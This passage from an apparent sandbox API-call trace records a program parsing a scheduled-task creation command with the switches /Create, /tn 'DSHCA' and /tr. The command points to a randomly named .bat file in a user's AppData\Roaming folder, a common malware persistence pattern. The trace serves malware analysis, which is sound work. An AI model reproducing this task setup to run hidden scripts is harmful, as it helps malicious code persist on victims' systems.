dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="tr") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="st") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="sd") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="ed") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="it") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="et") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="k") returned 1 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="du") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="ri") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="z") returned 1 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="f") returned 1 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="v1") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="xml") returned 3 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="ec") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="rl") returned 2 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="delay") returned 5 [0086.121] GetThreadLocale () returned 0x409 [0086.121] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.121] lstrlenW (lpString="np") returned 2 [0086.121] SetLastError (dwErrCode=0x0) [0086.121] SetLastError (dwErrCode=0x0) [0086.122] lstrlenW (lpString="/Create") returned 7 [0086.122] lstrlenW (lpString="-/") returned 2 [0086.122] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.122] lstrlenW (lpString="create") returned 6 [0086.122] lstrlenW (lpString="create") returned 6 [0086.122] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.122] lstrlenW (lpString="Create") returned 6 [0086.122] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.122] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|create|") returned 8 [0086.122] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|Create|") returned 8 [0086.122] lstrlenW (lpString="|create|") returned 8 [0086.122] lstrlenW (lpString="|Create|") returned 8 [0086.122] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0086.122] SetLastError (dwErrCode=0x0) [0086.122] SetLastError (dwErrCode=0x0) [0086.122] SetLastError (dwErrCode=0x0) [0086.122] lstrlenW (lpString="/tn") returned 3 [0086.122] lstrlenW (lpString="-/") returned 2 [0086.122] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.122] lstrlenW (lpString="create") returned 6 [0086.122] lstrlenW (lpString="create") returned 6 [0086.122] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.122] lstrlenW (lpString="tn") returned 2 [0086.122] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.122] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|create|") returned 8 [0086.122] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.122] lstrlenW (lpString="|create|") returned 8 [0086.122] lstrlenW (lpString="|tn|") returned 4 [0086.122] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0086.122] SetLastError (dwErrCode=0x490) [0086.122] lstrlenW (lpString="?") returned 1 [0086.122] lstrlenW (lpString="?") returned 1 [0086.122] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.122] lstrlenW (lpString="tn") returned 2 [0086.122] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.122] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|?|") returned 3 [0086.123] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.123] lstrlenW (lpString="|?|") returned 3 [0086.123] lstrlenW (lpString="|tn|") returned 4 [0086.123] SetLastError (dwErrCode=0x490) [0086.123] lstrlenW (lpString="s") returned 1 [0086.123] lstrlenW (lpString="s") returned 1 [0086.123] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.123] lstrlenW (lpString="tn") returned 2 [0086.123] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.123] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|s|") returned 3 [0086.123] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.123] lstrlenW (lpString="|s|") returned 3 [0086.123] lstrlenW (lpString="|tn|") returned 4 [0086.123] SetLastError (dwErrCode=0x490) [0086.123] lstrlenW (lpString="u") returned 1 [0086.123] lstrlenW (lpString="u") returned 1 [0086.123] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.123] lstrlenW (lpString="tn") returned 2 [0086.123] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.123] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|u|") returned 3 [0086.123] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.123] lstrlenW (lpString="|u|") returned 3 [0086.123] lstrlenW (lpString="|tn|") returned 4 [0086.123] SetLastError (dwErrCode=0x490) [0086.123] lstrlenW (lpString="p") returned 1 [0086.123] lstrlenW (lpString="p") returned 1 [0086.123] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.123] lstrlenW (lpString="tn") returned 2 [0086.123] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.123] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|p|") returned 3 [0086.123] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.123] lstrlenW (lpString="|p|") returned 3 [0086.123] lstrlenW (lpString="|tn|") returned 4 [0086.123] SetLastError (dwErrCode=0x490) [0086.123] lstrlenW (lpString="ru") returned 2 [0086.123] lstrlenW (lpString="ru") returned 2 [0086.124] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.124] lstrlenW (lpString="tn") returned 2 [0086.124] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.124] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ru|") returned 4 [0086.124] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.124] lstrlenW (lpString="|ru|") returned 4 [0086.124] lstrlenW (lpString="|tn|") returned 4 [0086.124] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0086.124] SetLastError (dwErrCode=0x490) [0086.124] lstrlenW (lpString="rp") returned 2 [0086.124] lstrlenW (lpString="rp") returned 2 [0086.124] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.124] lstrlenW (lpString="tn") returned 2 [0086.124] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.124] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|rp|") returned 4 [0086.124] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.124] lstrlenW (lpString="|rp|") returned 4 [0086.124] lstrlenW (lpString="|tn|") returned 4 [0086.124] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0086.124] SetLastError (dwErrCode=0x490) [0086.124] lstrlenW (lpString="sc") returned 2 [0086.124] lstrlenW (lpString="sc") returned 2 [0086.124] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.124] lstrlenW (lpString="tn") returned 2 [0086.124] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.124] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.124] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.124] lstrlenW (lpString="|sc|") returned 4 [0086.124] lstrlenW (lpString="|tn|") returned 4 [0086.124] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0086.124] SetLastError (dwErrCode=0x490) [0086.124] lstrlenW (lpString="mo") returned 2 [0086.124] lstrlenW (lpString="mo") returned 2 [0086.124] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.124] lstrlenW (lpString="tn") returned 2 [0086.125] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.125] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.125] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.125] lstrlenW (lpString="|mo|") returned 4 [0086.125] lstrlenW (lpString="|tn|") returned 4 [0086.125] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0086.125] SetLastError (dwErrCode=0x490) [0086.125] lstrlenW (lpString="d") returned 1 [0086.125] lstrlenW (lpString="d") returned 1 [0086.125] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.125] lstrlenW (lpString="tn") returned 2 [0086.125] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.125] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|d|") returned 3 [0086.125] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.125] lstrlenW (lpString="|d|") returned 3 [0086.125] lstrlenW (lpString="|tn|") returned 4 [0086.125] SetLastError (dwErrCode=0x490) [0086.125] lstrlenW (lpString="m") returned 1 [0086.125] lstrlenW (lpString="m") returned 1 [0086.125] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.125] lstrlenW (lpString="tn") returned 2 [0086.125] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.125] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|m|") returned 3 [0086.125] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.125] lstrlenW (lpString="|m|") returned 3 [0086.125] lstrlenW (lpString="|tn|") returned 4 [0086.125] SetLastError (dwErrCode=0x490) [0086.125] lstrlenW (lpString="i") returned 1 [0086.125] lstrlenW (lpString="i") returned 1 [0086.125] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.125] lstrlenW (lpString="tn") returned 2 [0086.125] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.125] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|i|") returned 3 [0086.125] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.125] lstrlenW (lpString="|i|") returned 3 [0086.126] lstrlenW (lpString="|tn|") returned 4 [0086.126] SetLastError (dwErrCode=0x490) [0086.126] lstrlenW (lpString="tn") returned 2 [0086.126] lstrlenW (lpString="tn") returned 2 [0086.126] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.126] lstrlenW (lpString="tn") returned 2 [0086.126] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.126] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.126] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.126] lstrlenW (lpString="|tn|") returned 4 [0086.126] lstrlenW (lpString="|tn|") returned 4 [0086.126] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0086.126] SetLastError (dwErrCode=0x0) [0086.126] SetLastError (dwErrCode=0x0) [0086.126] lstrlenW (lpString="DSHCA") returned 5 [0086.126] lstrlenW (lpString="-/") returned 2 [0086.126] StrChrIW (lpStart="-/", wMatch=0x44) returned 0x0 [0086.126] SetLastError (dwErrCode=0x490) [0086.126] SetLastError (dwErrCode=0x490) [0086.126] SetLastError (dwErrCode=0x0) [0086.126] lstrlenW (lpString="DSHCA") returned 5 [0086.126] StrChrIW (lpStart="DSHCA", wMatch=0x3a) returned 0x0 [0086.126] SetLastError (dwErrCode=0x490) [0086.126] SetLastError (dwErrCode=0x0) [0086.126] lstrlenW (lpString="DSHCA") returned 5 [0086.126] SetLastError (dwErrCode=0x0) [0086.126] SetLastError (dwErrCode=0x0) [0086.126] lstrlenW (lpString="/tr") returned 3 [0086.126] lstrlenW (lpString="-/") returned 2 [0086.126] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.126] lstrlenW (lpString="create") returned 6 [0086.126] lstrlenW (lpString="create") returned 6 [0086.126] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.126] lstrlenW (lpString="tr") returned 2 [0086.126] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.126] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|create|") returned 8 [0086.126] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.126] lstrlenW (lpString="|create|") returned 8 [0086.127] lstrlenW (lpString="|tr|") returned 4 [0086.127] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0086.127] SetLastError (dwErrCode=0x490) [0086.127] lstrlenW (lpString="?") returned 1 [0086.127] lstrlenW (lpString="?") returned 1 [0086.127] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.127] lstrlenW (lpString="tr") returned 2 [0086.127] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.127] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|?|") returned 3 [0086.127] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.127] lstrlenW (lpString="|?|") returned 3 [0086.127] lstrlenW (lpString="|tr|") returned 4 [0086.127] SetLastError (dwErrCode=0x490) [0086.127] lstrlenW (lpString="s") returned 1 [0086.127] lstrlenW (lpString="s") returned 1 [0086.127] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.127] lstrlenW (lpString="tr") returned 2 [0086.127] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.127] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|s|") returned 3 [0086.127] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.127] lstrlenW (lpString="|s|") returned 3 [0086.127] lstrlenW (lpString="|tr|") returned 4 [0086.127] SetLastError (dwErrCode=0x490) [0086.127] lstrlenW (lpString="u") returned 1 [0086.127] lstrlenW (lpString="u") returned 1 [0086.127] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.127] lstrlenW (lpString="tr") returned 2 [0086.127] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.127] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|u|") returned 3 [0086.127] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.127] lstrlenW (lpString="|u|") returned 3 [0086.127] lstrlenW (lpString="|tr|") returned 4 [0086.127] SetLastError (dwErrCode=0x490) [0086.127] lstrlenW (lpString="p") returned 1 [0086.127] lstrlenW (lpString="p") returned 1 [0086.127] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.128] lstrlenW (lpString="tr") returned 2 [0086.128] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.128] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|p|") returned 3 [0086.128] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.128] lstrlenW (lpString="|p|") returned 3 [0086.128] lstrlenW (lpString="|tr|") returned 4 [0086.128] SetLastError (dwErrCode=0x490) [0086.128] lstrlenW (lpString="ru") returned 2 [0086.377] lstrlenW (lpString="ru") returned 2 [0086.377] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.377] lstrlenW (lpString="tr") returned 2 [0086.377] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.377] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ru|") returned 4 [0086.377] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.377] lstrlenW (lpString="|ru|") returned 4 [0086.377] lstrlenW (lpString="|tr|") returned 4 [0086.377] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0086.378] SetLastError (dwErrCode=0x490) [0086.378] lstrlenW (lpString="rp") returned 2 [0086.378] lstrlenW (lpString="rp") returned 2 [0086.378] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.378] lstrlenW (lpString="tr") returned 2 [0086.378] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.378] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|rp|") returned 4 [0086.378] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.378] lstrlenW (lpString="|rp|") returned 4 [0086.378] lstrlenW (lpString="|tr|") returned 4 [0086.378] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0086.378] SetLastError (dwErrCode=0x490) [0086.378] lstrlenW (lpString="sc") returned 2 [0086.378] lstrlenW (lpString="sc") returned 2 [0086.378] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.378] lstrlenW (lpString="tr") returned 2 [0086.378] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.378] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.378] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.378] lstrlenW (lpString="|sc|") returned 4 [0086.378] lstrlenW (lpString="|tr|") returned 4 [0086.378] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0086.378] SetLastError (dwErrCode=0x490) [0086.378] lstrlenW (lpString="mo") returned 2 [0086.378] lstrlenW (lpString="mo") returned 2 [0086.378] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.378] lstrlenW (lpString="tr") returned 2 [0086.378] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.378] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.378] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.378] lstrlenW (lpString="|mo|") returned 4 [0086.378] lstrlenW (lpString="|tr|") returned 4 [0086.378] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0086.378] SetLastError (dwErrCode=0x490) [0086.378] lstrlenW (lpString="d") returned 1 [0086.378] lstrlenW (lpString="d") returned 1 [0086.379] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] lstrlenW (lpString="tr") returned 2 [0086.379] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|d|") returned 3 [0086.379] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.379] lstrlenW (lpString="|d|") returned 3 [0086.379] lstrlenW (lpString="|tr|") returned 4 [0086.379] SetLastError (dwErrCode=0x490) [0086.379] lstrlenW (lpString="m") returned 1 [0086.379] lstrlenW (lpString="m") returned 1 [0086.379] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] lstrlenW (lpString="tr") returned 2 [0086.379] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|m|") returned 3 [0086.379] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.379] lstrlenW (lpString="|m|") returned 3 [0086.379] lstrlenW (lpString="|tr|") returned 4 [0086.379] SetLastError (dwErrCode=0x490) [0086.379] lstrlenW (lpString="i") returned 1 [0086.379] lstrlenW (lpString="i") returned 1 [0086.379] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] lstrlenW (lpString="tr") returned 2 [0086.379] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|i|") returned 3 [0086.379] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.379] lstrlenW (lpString="|i|") returned 3 [0086.379] lstrlenW (lpString="|tr|") returned 4 [0086.379] SetLastError (dwErrCode=0x490) [0086.379] lstrlenW (lpString="tn") returned 2 [0086.379] lstrlenW (lpString="tn") returned 2 [0086.379] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] lstrlenW (lpString="tr") returned 2 [0086.379] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.379] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tn|") returned 4 [0086.379] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.379] lstrlenW (lpString="|tn|") returned 4 [0086.379] lstrlenW (lpString="|tr|") returned 4 [0086.379] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0086.380] SetLastError (dwErrCode=0x490) [0086.380] lstrlenW (lpString="tr") returned 2 [0086.380] lstrlenW (lpString="tr") returned 2 [0086.380] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.380] lstrlenW (lpString="tr") returned 2 [0086.380] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.380] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.380] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|tr|") returned 4 [0086.380] lstrlenW (lpString="|tr|") returned 4 [0086.380] lstrlenW (lpString="|tr|") returned 4 [0086.380] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0086.380] SetLastError (dwErrCode=0x0) [0086.380] SetLastError (dwErrCode=0x0) [0086.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 